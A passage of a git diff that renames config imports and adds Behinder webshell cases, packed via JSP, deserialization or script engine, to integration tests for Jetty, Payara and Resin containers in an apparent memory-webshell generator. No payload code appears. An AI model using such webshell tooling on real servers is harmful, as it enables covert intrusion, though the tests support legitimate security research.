ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index 13262ce8..2eef5aa5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -40,14 +40,20 @@ public class Jetty11ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index 33e1d292..a26800ef 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -40,14 +40,20 @@ public class Jetty61ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index a61cab04..38f1d19f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -40,14 +40,20 @@ public class Jetty76ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index 436fb0bd..cb864fd5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -40,14 +40,20 @@ public class Jetty81ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index 7cfd3408..702b88af 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -41,14 +41,20 @@ public class Jetty92ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index 38b4dc87..fd237c07 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -40,14 +40,20 @@ public class Jetty93ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 0ba442b9..8bf506ca 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.jetty; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -40,21 +40,23 @@ public class Jetty94ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java index 713d22b2..1b1b0006 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.payara; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.GlassFishShell; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; @@ -42,20 +42,30 @@ public class Payara5201ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java index 9679e448..18a156f5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.payara; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import com.reajason.javaweb.memshell.PayaraShell; import lombok.extern.slf4j.Slf4j; @@ -42,14 +42,20 @@ public class Payara520225ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, PayaraShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, PayaraShell.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, PayaraShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java index 14c75ec9..70329ea7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.payara; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.PayaraShell; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; @@ -42,14 +42,20 @@ public class Payara620222ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java index a9e993cf..1be571ce 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.integration.resin; -import com.reajason.javaweb.config.Constants; -import com.reajason.javaweb.config.Server; -import com.reajason.javaweb.config.ShellTool; +import com.reajason.javaweb.memshell.config.Constants; +import com.reajason.javaweb.memshell.config.Server; +import com.reajason.javaweb.memshell.config.ShellTool; import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -40,24 +40,24 @@ public class Resin3116ContainerTest { static Stream casesProvider() { return Stream.of( + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), + 